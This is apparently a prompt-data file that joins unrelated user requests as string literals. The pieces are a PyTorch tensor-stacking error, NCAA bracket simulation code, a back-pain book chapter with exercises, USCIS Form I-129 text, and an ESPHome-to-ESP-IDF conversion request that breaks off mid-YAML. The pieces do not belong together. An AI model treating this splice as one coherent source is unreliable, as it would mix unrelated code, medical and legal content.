self.\\_dataset\\_kind == \\_DatasetKind.Iterable and \\\n 631 self.\\_IterableDataset\\_len\\_called is not None and \\\n 632 self.\\_num\\_yielded > self.\\_IterableDataset\\_len\\_called:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\dataloader.py:671, in \\_SingleProcessDataLoaderIter.\\_next\\_data(self)\n 669 def \\_next\\_data(self):\n 670 index = self.\\_next\\_index() # may raise StopIteration\n--> 671 data = self.\\_dataset\\_fetcher.fetch(index) # may raise StopIteration\n 672 if self.\\_pin\\_memory:\n 673 data = \\_utils.pin\\_memory.pin\\_memory(data, self.\\_pin\\_memory\\_device)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\fetch.py:61, in \\_MapDatasetFetcher.fetch(self, possibly\\_batched\\_index)\n 59 else:\n 60 data = self.dataset[possibly\\_batched\\_index]\n---> 61 return self.collate\\_fn(data)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:265, in default\\_collate(batch)\n 204 def default\\_collate(batch):\n 205 r"""\n 206 Function that takes in a batch of data and puts the elements within the batch\n 207 into a tensor with an additional outer dimension - batch size. The exact output type can be\n (...)\n 263 >>> default\\_collate(batch) # Handle `CustomType` automatically\n 264 """\n--> 265 return collate(batch, collate\\_fn\\_map=default\\_collate\\_fn\\_map)\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:143, in collate(batch, collate\\_fn\\_map)\n 140 transposed = list(zip(\\*batch)) # It may be accessed twice, so we use a list.\n 142 if isinstance(elem, tuple):\n--> 143 return [collate(samples, collate\\_fn\\_map=collate\\_fn\\_map) for samples in transposed] # Backwards compatibility.\n 144 else:\n 145 try:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:143, in (.0)\n 140 transposed = list(zip(\\*batch)) # It may be accessed twice, so we use a list.\n 142 if isinstance(elem, tuple):\n--> 143 return [collate(samples, collate\\_fn\\_map=collate\\_fn\\_map) for samples in transposed] # Backwards compatibility.\n 144 else:\n 145 try:\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:120, in collate(batch, collate\\_fn\\_map)\n 118 if collate\\_fn\\_map is not None:\n 119 if elem\\_type in collate\\_fn\\_map:\n--> 120 return collate\\_fn\\_map[elem\\_type](batch, collate\\_fn\\_map=collate\\_fn\\_map)\n 122 for collate\\_type in collate\\_fn\\_map:\n 123 if isinstance(elem, collate\\_type):\n\nFile C:\\anaconda\\lib\\site-packages\\torch\\utils\\data\\\\_utils\\collate.py:163, in collate\\_tensor\\_fn(batch, collate\\_fn\\_map)\n 161 storage = elem.storage().\\_new\\_shared(numel, device=elem.device)\n 162 out = elem.new(storage).resize\\_(len(batch), \\*list(elem.size()))\n--> 163 return torch.stack(batch, 0, out=out)\n\nRuntimeError: stack expects each tensor to be equal size, but got [52] at entry 0 and [347] at entry 1\n\n해당 오류가 발생해서 코드를 수정해서 전체 코드를 작성해줘\n\nPlease write in English language.' +'import argparse\nimport math\nfrom collections import Counter\nfrom typing import List\n\nimport numpy as np\nfrom numpy.ma import exp\nfrom scipy.optimize import minimize\\_scalar\n\nfrom team import Team\n\nHISTORICAL\\_SEED\\_WIN\\_RATES = {\n (1, 16): 1.000,\n (2, 15): 0.917,\n (3, 14): 0.833,\n (4, 13): 0.750,\n (5, 12): 0.667,\n (6, 11): 0.583,\n (7, 10): 0.54,\n (8, 9): 0.500,\n}\n\nclass Tournament:\n\n def \\_\\_init\\_\\_(self, teams: List[Team], num\\_simulations: int, noise: float):\n self.teams: List[Team] = teams\n self.num\\_simulations = num\\_simulations\n self.k = self.find\\_best\\_k()\n self.adj\\_matrix = self.calculate\\_adj\\_matrix()\n self.noise = noise\n\n @staticmethod\n def get\\_opponent\\_index(team\\_index):\n return team\\_index + 1 if team\\_index % 2 == 0 else team\\_index - 1\n\n def calculate\\_adj\\_matrix(self):\n num\\_teams = len(self.teams)\n adj\\_matrix = np.zeros((num\\_teams, num\\_teams))\n\n for i, team\\_i in enumerate(self.teams):\n for j, team\\_j in enumerate(self.teams):\n if i != j:\n p\\_win = self.calculate\\_win\\_probability(team\\_i, team\\_j)\n adj\\_matrix[i, j] = p\\_win\n adj\\_matrix[j, i] = 1 - p\\_win\n\n return adj\\_matrix\n\n def run(self):\n print(f"\\nRound of {len(self.teams)}")\n print("teams in round: ", [\n f"{x.team\\_name} ({x.team\\_seed})"\n for x in self.teams\n ])\n if len(self.teams) == 0:\n print("No teams in the tournament. Exiting.")\n return\n\n if len(self.teams) == 1:\n print(f"Winner: {self.teams[0].team\\_name}")\n return\n\n winners = self.play\\_round()\n updated\\_tournament = Tournament(winners, self.num\\_simulations, self.noise)\n updated\\_tournament.run()\n\n @staticmethod\n def historical\\_upset\\_rate(seed1, seed2):\n return 1 - Tournament.get\\_midpoint\\_win\\_rate(seed1, seed2)\n\n @staticmethod\n def get\\_midpoint\\_win\\_rate(seed1, seed2):\n if seed1 == seed2:\n return 0.5\n\n lower\\_seed, higher\\_seed = sorted((seed1, seed2))\n\n left\\_tuple\\_win\\_rate = None\n right\\_tuple\\_win\\_rate = None\n\n for (lower, higher), win\\_rate in HISTORICAL\\_SEED\\_WIN\\_RATES.items():\n if lower == lower\\_seed:\n left\\_tuple\\_win\\_rate = win\\_rate\n if higher == higher\\_seed:\n right\\_tuple\\_win\\_rate = win\\_rate\n if lower == higher\\_seed:\n right\\_tuple\\_win\\_rate = 1 - win\\_rate\n if higher == lower\\_seed:\n left\\_tuple\\_win\\_rate = 1 - win\\_rate\n\n if left\\_tuple\\_win\\_rate is None or right\\_tuple\\_win\\_rate is None:\n raise ValueError(f"Win rate data not available for seeds {seed1} and {seed2}")\n\n win\\_rate = (left\\_tuple\\_win\\_rate + right\\_tuple\\_win\\_rate) / 2\n return win\\_rate\n\n def calculate\\_upset\\_rates(self):\n upset\\_rates = {}\n for i in range(0, len(self.teams), 2):\n seed1, seed2 = self.teams[i].team\\_seed, self.teams[i + 1].team\\_seed\n historical\\_upset\\_rate = self.historical\\_upset\\_rate(seed1, seed2)\n upset\\_rates[(i, i + 1)] = historical\\_upset\\_rate\n return upset\\_rates\n\n def select\\_winner(self, i, round\\_win\\_counts, upset\\_rates):\n # Calculate the probability of an upset based on historical seed win rates\n i\\_team = self.teams[i]\n j\\_team = self.teams[i + 1]\n i\\_is\\_better\\_score = i\\_team.ken\\_pom\\_score > j\\_team.ken\\_pom\\_score\n better\\_index = i if i\\_is\\_better\\_score else i + 1\n worse\\_index = i + 1 if i\\_is\\_better\\_score else i\n historical = upset\\_rates[(i, i + 1)]\n statistical = self.calculate\\_win\\_probability(\n self.teams[worse\\_index],\n self.teams[better\\_index]\n )\n \n # noise is added by using historical upset rates rather than team specific kenpom scores\n probability = (1 - self.noise) \\* statistical + self.noise \\* historical\n\n # If a random number is less than the probability of an upset, return the underdog\n if np.random.rand() < probability:\n index = i + 1 if i\\_is\\_better\\_score else i\n upset = True\n # Otherwise, return the favorite\n else:\n index = i if round\\_win\\_counts[i] > round\\_win\\_counts[i + 1] else i + 1\n upset = False\n\n return index, upset\n\n def play\\_round(self):\n round\\_win\\_counts = Counter()\n num\\_upsets = 0\n num\\_games = 0\n\n for \\_ in range(int(self.num\\_simulations \\* 64 / len(self.teams))):\n for i in range(0, len(self.teams), 2):\n win\\_i = np.random.rand() < self.adj\\_matrix[i, i + 1]\n winning\\_team\\_index = i if win\\_i else i + 1\n round\\_win\\_counts[winning\\_team\\_index] += 1\n\n i\\_underdog = self.teams[i].team\\_seed < self.teams[i + 1].team\\_seed\n j\\_underdog = self.teams[i].team\\_seed > self.teams[i + 1].team\\_seed\n\n underdog\\_i\\_won = i\\_underdog and win\\_i\n underdog\\_j\\_won = j\\_underdog and not win\\_i\n\n num\\_upsets += 1 if underdog\\_i\\_won or underdog\\_j\\_won else 0\n num\\_games += 1\n \n \n winning\\_team\\_indices = []\n\n realized\\_upsets = 0\n\n # Calculate upset rates for each matchup based on historical seed win rates\n upset\\_rates = self.calculate\\_upset\\_rates()\n\n for i in range(0, len(self.teams), 2):\n index, upset = self.select\\_winner(i, round\\_win\\_counts, upset\\_rates)\n realized\\_upsets += 1 if upset else 0\n winning\\_team\\_indices.append(index)\n\n i\\_team = self.teams[i]\n j\\_team = self.teams[i + 1]\n i\\_seed = i\\_team.team\\_seed\n j\\_seed = j\\_team.team\\_seed\n min\\_seed = min(i\\_seed, j\\_seed)\n max\\_seed = max(i\\_seed, j\\_seed)\n if upset:\n print(f"({i\\_team.team\\_name}, {j\\_team.team\\_name})"\n f"->{self.teams[index].team\\_name} "\n f\'\\*\\*UPSET\\*\\* {max\\_seed} over {min\\_seed}\')\n\n winning\\_teams: list[Team] = [self.teams[winner\\_index] for winner\\_index in winning\\_team\\_indices]\n\n print(f"Upset rate for this round: {realized\\_upsets / len(winning\\_teams):.2%}")\n\n return winning\\_teams\n\n def get\\_team\\_by\\_name(self, team\\_name: str):\n for team in self.teams:\n if team.team\\_name == team\\_name:\n return team\n return None\n\n def calculate\\_win\\_probability(self, team\\_i: Team, team\\_j: Team):\n ken\\_pom\\_diff = team\\_i.ken\\_pom\\_score - team\\_j.ken\\_pom\\_score\n probability = 1 / (1 + math.exp(-self.k \\* ken\\_pom\\_diff))\n return probability\n\n @staticmethod\n def error\\_function(k, average\\_kenpom\\_difference):\n error = 0\n for matchup, historical\\_probability in HISTORICAL\\_SEED\\_WIN\\_RATES.items():\n difference = average\\_kenpom\\_difference[matchup]\n probability = 1 / (1 + exp(-k \\* difference))\n error += (probability - historical\\_probability) \\*\\* 2\n return error\n\n @staticmethod\n def average\\_kenpom\\_difference(max\\_seed=16, kenpom\\_range=(0, 40)):\n min\\_kenpom, max\\_kenpom = kenpom\\_range\n kenpom\\_increment = (max\\_kenpom - min\\_kenpom) / max\\_seed\n average\\_difference = {}\n\n for higher\\_seed in range(1, max\\_seed + 1):\n for lower\\_seed in range(higher\\_seed + 1, max\\_seed + 1):\n higher\\_seed\\_kenpom = max\\_kenpom - (higher\\_seed - 1) \\* kenpom\\_increment\n lower\\_seed\\_kenpom = max\\_kenpom - (lower\\_seed - 1) \\* kenpom\\_increment\n average\\_difference[(higher\\_seed, lower\\_seed)] = higher\\_seed\\_kenpom - lower\\_seed\\_kenpom\n\n return average\\_difference\n\n @staticmethod\n def find\\_best\\_k():\n average\\_difference = Tournament.average\\_kenpom\\_difference()\n result = minimize\\_scalar(Tournament.error\\_function, args=(average\\_difference,))\n x = result.x\n print("Best k:", x)\n return x\nif \\_\\_name\\_\\_ == "\\_\\_main\\_\\_":\n parser = argparse.ArgumentParser(\n description="NCAA Tournament Simulation"\n )\n parser.add\\_argument(\n \'-f\', \'--file\',\n default=\'2023ncaab.csv\',\n help="Path to the data file (default: \'2023ncaab.csv\')"\n )\n parser.add\\_argument(\n \'-n\', \'--num-simulations\',\n type=int,\n default=20000,\n help="Number of simulations to run (default: 100000)"\n )\n parser.add\\_argument(\n \'-z\', \'--noise\',\n type=int,\n default=0.5\n )\n args = parser.parse\\_args()\n teams\\_ = Team.extract\\_teams(args.file)\n tournament = Tournament(teams\\_, args.num\\_simulations, args.noise)\n tournament.run()\n\nmake a new function select winner simple that does not take in any counter objects. It just takes in two teams and selects a winner using the win probability and the historical uspet rates' +'CHAPTER EIGHTEEN\n Special Conditions\n From Jeremy\nI find this material fascinating but you don’t have to read it unless you have one of the headlined conditions. This is an effort to give some help to people with serious conditions who are likely to need medical help, or at least some level of medical supervision as well as “book help.” \nThere are some more extreme or special conditions causing back pain for which you are going to want to receive individual guidance from a physician but for which you may also get substantial help from the book. Here and elsewhere, you may ask: If I have to go to a therapist for this anyway, why not leave it all to him or her? The answer is twofold. First, the concepts and exercises in the book will give you a great foundation on which to build the more specific treatments suggested by your caregiver. But, second, in my experience, too many therapists treating these conditions jump right into the specific exercises and stretches for these conditions without building an adequate foundation of spine health and strength. That’s what this book does. \nSo . . . get started with this book and then seek out specific treatment. But be alert: Some of these exercises can exacerbate pain for some sufferers. If that happens to you, stop. Sorry that this is so complicated. You are almost always going to get substantial help from the general advice you have already read but—for these special conditions—you will also benefit from the specific advice in this chapter. See your doctor and strike your own balance between medical help and the advice we offer here. It is a two-sided approach and—often with these special conditions—both can help. Typically, the medical help alone—great relief though it may be—is not going to provide a complete, permanent solution. \nDisc Herniations\nThis means a burst disc and it is very serious business, as you already know. You should start by seeing a medical doctor. If a doctor has told you that you should try conservative (that is, nonintrusive) care for a herniated disc but you are in too much pain to start this book, you may benefit from a steroid injection to calm the pain down. I am slow to recommend that step, but this may be one of the situations where it makes sense. Sometimes an injection can bring the pain and inflammation down to a tolerable level so that rehab exercises can be undertaken. You should be warned that steroid injections can slow the healing process of a herniated disc. Talk with your doctor about the risks and benefits of a steroid injection.\nIf you are having pain down your leg from a herniated disc, something called nerve flossing can sometimes help. It may sound like a joke, but it is not. Nerve flossing is a technique that attempts to traction or “scrub” the nerve roots as they exit the spinal cord near the herniated disc to remove material that sometimes builds up on them. If there is “stuff” stuck to the nerve roots or nerves (it is likely to be either pieces of disc material or scar tissue), that “stuff” can cause or exacerbate pain, and removing it can help a lot. Nerve flossing can sometimes do precisely that and provide significant relief. Caution: This technique can sometimes cause an increase in pain initially, before it reduces it. Sometimes it doesn’t work. But it works enough to be worth the shot. There are countless YouTube videos out there on this subject. My favorite approach is Dr. Stuart McGill’s. He has various videos and describes his approach in detail in his books. \nHypermobile Sacroiliac (SI) Joint Pain\nThis pain can be one of the most difficult and stubborn conditions to treat, in my experience. The sacroiliac, or “SI,” joint is the joint in your pelvis where the sides of your pelvis connect with your sacrum. \nThe SI joint is not supposed to move very much in a healthy individual. It is crossed by large ligaments and muscles that keep it taut. SI joints that move too much can cause recurring episodes of severe pain. This commonly starts with a sprain of these ligaments from a hard fall to the buttocks or from giving birth. Once the ligaments are deformed, the SI joint can become unstable. Learning to engage the core and gluteal muscles at the appropriate times can help people with chronic SI pain. \nA medical intervention is sometimes needed. One approach is prolotherapy, an injection therapy whose goal is to tighten up loose ligaments and stabilize joints. An irritant is injected around the SI joint to cause scarring and stiffening of the ligaments that cross the joint, resulting in a more stable joint. In my experience, this works slightly more than 50 percent of the time. Try this book first and see how much relief you get. You will likely get significant relief. If not, consult several prolotherapy practitioners before deciding to try it. \nBefore considering prolotherapy, try these exercises in addition to the ones you’ve already learned.\nIsometric Adduction \nThe goal here is to strengthen the muscles on the insides of your legs without moving the unstable SI joint. You will need a medicine ball, thick pillow, or something similar for this exercise.\n\nStep 1: Lie on your back with your knees bent. Put the medicine ball between your knees. \nStep 2: Find your neutral spine and brace your core.\nStep 3: Squeeze the ball between the knees with 50 percent strength, being careful not to lose your core brace. Hold for ten seconds.\nStep 4: Repeat ten reps. Do two to three sets. \nIsometric Abduction\nAs with the previous exercise, the goal is to avoid moving the unstable SI joint. The difference here is that you are working on the muscles on the outside of your hips. You will need tubing or an elastic band for this exercise.\nStep 1: Lie on your back with your knees bent. \nStep 2: Find neutral spine and brace your core.\n\nStep 3: Wrap the band or tube around your thighs and below the knees.\n\nStep 4: Engage your glutes and move your knees outward about 45 degrees.\nStep 5: Hold ten seconds.\nStep 6: Do ten reps, two to three sets.\n“Bicycles” on Your Side\nThis exercise is very challenging to do properly. One of the goals is to keep your leg in the same “horizontal plane” throughout. By this I mean not to let your leg wander up or down if you were viewing it from the side. Rather, keep it steady with the knee and foot in the same position relative to each other throughout the movement.\nStep 1: Lie on your side with your top arm on the floor in front of you for support.\nStep 2: Brace your core.\n\nStep 3: With the movement of bicycle pedaling in mind, raise your top knee up toward your torso and then push the foot out in front of you. Then bring it back behind you to make a big circle at the hip, as if you were pedaling a bicycle on your side. As you bring the leg behind you, focus on engaging the glutes and opening up the front of the hip.\n\nStep 4: Go only as far as you can without moving your back. \nStep 5: Do ten reps. \nStep 6: Then, go the opposite direction. \nStep 7: Push your heel back behind you, engaging the glutes and stretching out your hip flexors as your foot goes behind you. \nStep 8: While moving the leg, do not let it wander up or down. In other words, stay in the same horizontal plane the entire time. \nBulging Disc\nMost bulging discs will heal on their own if pressures are taken off and the bulging disc is given the chance to recover. The most important thing with a bulging disc is to stop irritating it. You will need to limit activities that put the most pressure on the disc. This means doing much less of any activity that involves a seated position (driving, flying, etc.) as well as picking things up with a rounded back and twisting with the low back (golf, tennis, etc.). There are ways to continue to play these sports without twisting or bending the low back. Remember the concept of creep when you are required to sit. Break it up into twenty- to thirty-minute increments if you are required to sit all day. Avoiding creep is even more urgent when you have a bulging disc.\nFor some people, “press-ups” can help with bulging disc pain. These were initially recommended by Dr. Joseph McKenzie in his McKenzie protocol. His idea was that this exercise helps to shift the disc back into its natural position. \nPress-Ups\nI have seen some people, but certainly not all people, benefit from this. But it is worth a try.\nStep 1: Lie facedown on the floor with your elbows bent and your arms flat on the floor on either side of you, palms down.\nStep 2: Lightly brace your core. \n\nStep 3: Here’s the hard part: You are going to attempt to press your upper body up off the floor without using the muscles in your low back. Your arms should be doing all of the work and your low back should be relaxed. If you have a bulging disc and you start to lift your torso up with your back muscles, there’s a good chance they will go into spasm and make things quite a bit worse. \n\nStep 4: Very slowly and very carefully, start to push your upper body up off the floor. If your low back muscles kick in, stop and slowly \nlower yourself back to the floor to start again.\nStep 5: Continue up slowly. Go only as high as you can without your back muscles kicking in and without pain. Hold for ten seconds.\nStep 6: Slowly lower yourself back to the starting position using only your arms. Repeat five to ten reps. These can be done daily. \nStenosis\nSevere stenosis can be a serious problem and you may need medical help. But it is also true that often the things we have taught you so far will help quite a lot. Indeed, they may be an answer, so it is worth a try. We do not hold out the promise of an 80 percent success rate with severe stenosis, but the chances of success are substantial and well worth a try. Cases of mild to moderate stenosis typically respond very well to the approaches presented in this book.\nThe process will seem familiar now. Primarily, it is just a matter of finding (and maintaining) your neutral spine so that the irritation can die down. Once you feel comfortable with neutral spine, start to try walking again. For most people with stenosis, walking for moderate distances can be a problem. Make sure to keep your neutral spine and swing your arms from the shoulders as we talked about earlier. In addition, stop and take breaks and sit down before the pain starts. Eventually try to increase the distance you can go between sitting breaks. With increased fitness and endurance in the core muscles, these times between sitting will get longer and longer. Again, I caution that if you have very severe stenosis, you may be one of the relatively few who need surgery. This is especially true if you have leg symptoms and/or weakness. That said, I have seen countless patients whose MRIs showed moderate to severe stenosis (lateral or central) who were able to get back to a low level of pain and high level of function without surgery. So it is worth a shot. \nFor many with lateral or central stenosis, bicycling can be a great way to get exercise and relieve the back, because of the forward-bent posture when on a bike. Another solution is to do the following stretch to relieve the discomfort caused by stenosis. \nStenosis Relief Stretch\nThis stretch is the knee-to-chest stretch for relief from stenosis. It is pretty simple and often effective.\n\nStep 1: Lie on your back.\nStep 2: Lightly engage your core.\nStep 3: Slowly bring your knees up toward your chest and grab your knees with your hands, pulling your knees into the chest.\nStep 4: Hold and breathe for thirty seconds. \nStep 5: Repeat five to ten times. This can be done throughout the day.\nScoliosis\nIf you have scoliosis, it is important to see a good physical therapist to get exercises prescribed for your specific body. One size does not fit all on this one, so we cannot handle it definitively in this book. Your therapist should take into account the degree of curvature you have in your spine and the cause of your scoliosis and prescribe treatment accordingly. For instance, scoliosis caused by a leg length discrepancy will sometimes respond to orthotics. Severe scoliosis might require a brace. There are various exercises and stretches to apply depending on your body. I recommend getting personal help from a skilled therapist while also embarking on the protocol presented in this book. \nPregnancy \nBack pain during pregnancy is extremely common. This is because of a host of factors including weight gain, hormonal changes, stress, and lack of sleep. It is a great idea, if you can manage it, to practice all of the advice in this book before you get pregnant and during the early stages of pregnancy. I quite understand that you have a lot on your mind during this period (when I wrote this, Michelle and I were less than a month away from having our first child), but doing these exercises will be a substantial blessing during pregnancy and after. Add it to the list. \nHaving made that boast, I have to admit that you will likely struggle with back pain to some extent no matter what you do. But the back pain will be a lot less. One of the reasons you get back pain in pregnancy is wonderfully logical: It is the release of the hormone relaxin. It is released into your body to prepare for the birth by causing the ligaments in and around the pelvis to loosen, which is a great idea if you are about to deliver a baby, but it also leads to instability in the spine and pelvis, and causes pain. It’s a trade-off: It makes the actual delivery easier, but it causes some pain. The more stable and strong you are going into pregnancy, the better your chances of avoiding back pain. But there is this overriding bit of good advice: Regular exercise throughout pregnancy, including many of the exercises in this book (with light weight) can be done safely and will help a lot with back pain. Talk to your doctor about which exercises are safe for you and how much weight you can safely lift in each stage of pregnancy. You might want to bring this book to your doctor’s appointment for guidance on whether the basic exercises are safe for you. \nIs all this worth it, just for the relatively short term of a pregnancy? Yes. First, it is not a short term, not if you are in serious back pain. And pregnancy is tough enough without the added burden of back pain. So give the preceding advice some thought. At some point you may have flare-ups of back pain, no matter what you do. At that point, you may want to find a good chiropractor and/or acupuncturist to help you. But find a good one, one who has had lots of experience treating pregnant women. Follow my general advice about finding such professionals. Then ask specific questions about your particular needs and concerns of their office manager when looking to make an appointment. \nOkay, that’s it for these most demanding “special situations.” But I have seen this advice do a lot of good for those in these situations and felt compelled to include it. Again, it is “blended advice”: Use the book and see a medical or other specialized healer. And it may not give total relief, but there is a good chance that it will help a lot. And that’s what we’re here for.' +'Section 3. Numerical Limitation Information (continued)\n3. If you answered Item Number 1.d. "CAP Exempt," you must specify the reason(s) this petition is exempt from the numerical\nlimitation for H-1B classification:\nThe petitioner is an institution of higher education as defined in section 101(a) of the Higher Education Act, of 1965,\n20 U.S.C. 1001(a).\nThe petitioner is a nonprofit entity related to or affiliated with an institution of higher education as defined in 8 CFR\n214.2(h)(8)(ii)(F)(2).\nThe petitioner is a nonprofit research organization or a governmental research organization as defined in 8 CFR\n214.2(h)(8)(ii)(F)(3).\nThe beneficiary will be employed at a qualifying cap exempt institution, organization or entity pursuant to 8 CFR\n214.2(h)(8)(ii)(F)(4).\nThe beneficiary of this petition is a J-1 nonimmigrant physician who has received a waiver based on section 214(l)\nof the Act.\nThe petitioner is requesting an amendment to or extension of stay for the beneficiary\'s current H-1B classification.\nThe beneficiary of this petition has been counted against the cap and (1) is applying for the remaining portion of the\n6 year period of admission, or (2) is seeking an extension beyond the 6-year limitation based upon sections 104(c) or\n106(a) of the American Competitiveness in the Twenty-First Century Act (AC21).\nThe petitioner is an employer subject to the Guam-CNMI cap exemption pursuant to Public Law 110-229.\nSection 4. Off-Site Assignment of H-1B Beneficiaries\n1. The beneficiary of this petition will be assigned to work at an off-site location for all or part of the\nperiod for which H-1B classification sought.\n3. The beneficiary will be paid the higher of the prevailing or actual wage at any and all off-site locations.\n2. Placement of the beneficiary off-site during the period of employment will comply with the statutory\nand regulatory requirements of the H-1B nonimmigrant classification.\nYes No\nYes\nYes No\nNo\nIf no, do not complete Item Numbers 2. and 3.\na.\nb.\nc.\nd.\ne.\nf.\ng.\nh.\n Page 21 of 36\nForm I-129 Edition 11/02/22\nL Classification Supplement to Form I-129\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\nName of the Petitioner\nName of the Beneficiary\n1.\n2.\n3. This petition is (select only one box):\n4.a. Does the petitioner employ 50 or more individuals in the U.S.?\n4.b. If yes, are more than 50 percent of those employee in H-1B, L-1A, or L-1B nonimmigrant status?\n a. An individual petition b. A blanket petition\nNo\nYes No\nYes\nSection 1. Complete This Section If Filing For An Individual Petition\n1. Classification sought (select only one box):\n2. List the beneficiary\'s and any dependent family member\'s prior periods of stay in an H or L classification in the United States\nfor the last seven years. Be sure to list only those periods in which the beneficiary and/or family members were physically\npresent in the U.S. in an H or L classification. Do not include periods in which the beneficiary was in a dependent status, for\nexample, H-4 or L-2 status. If more space is needed, go to Part 9. of Form I-129.\nSubject\'s Name Period of Stay (mm/dd/yyyy)\nFrom To\na. L-1A manager or executive b. L-1B specialized knowledge\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\n3. Name of Employer Abroad\n4. Address of Employer Abroad\nProvince Postal Code Country\nNOTE: Submit photocopies of Forms I-94, I-797, and/or other USCIS issued documents noting these periods of stay in the H\nor L classification. (If more space is needed, attach an additional sheet.)\n Page 22 of 36\nForm I-129 Edition 11/02/22\nSection 1. Complete This Section If Filing For An Individual Petition (continued)\n5. Dates of beneficiary\'s employment with this employer. Explain any interruptions in employment.\nDates of Employment (mm/dd/yyyy)\nFrom To Explanation of Interruptions\n6. Describe the beneficiary\'s duties abroad for the 3 years preceding the filing of the petition. (If the beneficiary is currently inside the\nUnited States, describe the beneficiary\'s duties abroad for the 3 years preceding the beneficiary\'s admission to the United States.)\n8. Summarize the beneficiary\'s education and work experience.\n7. Describe the beneficiary\'s proposed duties in the United States.\n9. How is the U.S. company related to the company abroad? (select only one box)\na. Parent b. Branch c. Subsidiary d. Affiliate e. Joint Venture\n Page 23 of 36\nForm I-129 Edition 11/02/22\n10. Describe the percentage of stock ownership and managerial control of each company that has a qualifying relationship. Provide\nthe Federal Employer Identification Number for each U.S. company that has a qualifying relationship.\nPercentage of company stock ownership and managerial control of\neach company that has a qualifying relationship.\nFederal Employer Identification Number for each\nU.S. company that has a qualifying relationship\nSection 1. Complete This Section If Filing For An Individual Petition (continued)\n11. Do the companies currently have the same qualifying relationship as they did during the one-year period of the alien\'s\nemployment with the company abroad?\n12. Is the beneficiary coming to the United States to open a new office?\nIf you are seeking L-1B specialized knowledge status for an individual, answer the following question:\nWill the beneficiary be stationed primarily offsite (at the worksite of an employer other than the petitioner or its affiliate,\nsubsidiary, or parent)?\nIf you answered yes to the preceding question, describe how and by whom the beneficiary\'s work will be controlled and\nsupervised. Include a description of the amount of time each supervisor is expected to control and supervise the work. If you\nneed additional space to respond to this question, proceed to Part 9. of the Form I-129, and type or print your explanation.\n13.c. If you answered yes to the preceding question, describe the reasons why placement at another worksite outside the petitioner,\nsubsidiary, affiliate, or parent is needed. Include a description of how the beneficiary\'s duties at another worksite relate to the\nneed for the specialized knowledge he or she possesses. If you need additional space to respond to this question, proceed to\nPart 9. of the Form I-129, and type or print your explanation.\n13.b.\nYes No. If no, provide an explanation in Part 9. of Form I-129 that the U.S. company has and will have a qualifying\nrelationship with another foreign entity during the full period of the requested period of stay.\nYes\nYes No\nNo (attach explanation)\n13.a.\n Page 24 of 36\nForm I-129 Edition 11/02/22\nSection 2. Complete This Section If Filing A Blanket Petition\nList all U.S. and foreign parent, branches, subsidiaries, and affiliates included in this petition. (Attach separate sheets of paper if\nadditional space is needed.)\nName and Address Relationship\nSection 3. Additional Fees\nNOTE: A petitioner that seeks initial approval of L nonimmigrant status for a beneficiary, or seeks approval to employ an L\nnonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and Detection fee. For\npetitions filed on or after December 18, 2015, you must submit an additional fee of $4,500 if you responded yes to both questions in\nItem Numbers 4.a. and 4.b. on the first page of this L Classification Supplement. This $4,500 fee is mandated by the provisions of\nPublic Law 114-113.\nThese fees, when applicable, may not be waived. You must include payment of the fees with your submission of this form. Failure\nto submit the fees when required will result in rejection or denial of your submission. Each of these fees should be paid by separate\nchecks or money orders.\n Page 25 of 36' +'Rewrite this YAML config to C++ code in an Espressif IDF function that reads registers. \ntext\\_sensor:\n # Range 30000 - 30035\n - name: "Huawei inverter model"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 30000\n register\\_count: 15\n response\\_size: 30\n skip\\_updates: 100\n - name: "Huawei inverter SN"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 30015\n register\\_count: 10\n response\\_size: 20\n skip\\_updates: 100\n - name: "Huawei inverter PN"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 30025\n register\\_count: 10\n response\\_size: 20\n skip\\_updates: 100\n\n # Inverter status string\n - name: "Huawei inverter status"\n platform: template\n id: inverter\\_status\\_string\n icon: "mdi:information"\nbinary\\_sensor:\n # Range 32000 - 32019 (1/2)\n # Register 32000\n - name: "Huawei inverter state standby"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x001\n - name: "Huawei inverter state grid-connected"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x002\n - name: "Huawei inverter state grid-connected normally"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x004\n - name: "Huawei inverter state grid connection with derating due to power rationing"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x008\n - name: "Huawei inverter state grid connection with derating due to internal causes of the solar inverter"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x010\n - name: "Huawei inverter state normal stop"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x020\n - name: "Huawei inverter state stop due to faults"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x040\n - name: "Huawei inverter state stop due to power rationing"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: holding\n address: 32000\n bitmask: 0x080\n - name: "Huawei inverter state shutdown"\n icon: "mdi:information"\n platform: modbus\\_controller\n modbus\\_controller\\_id: huawei\\_inverter\n register\\_type: 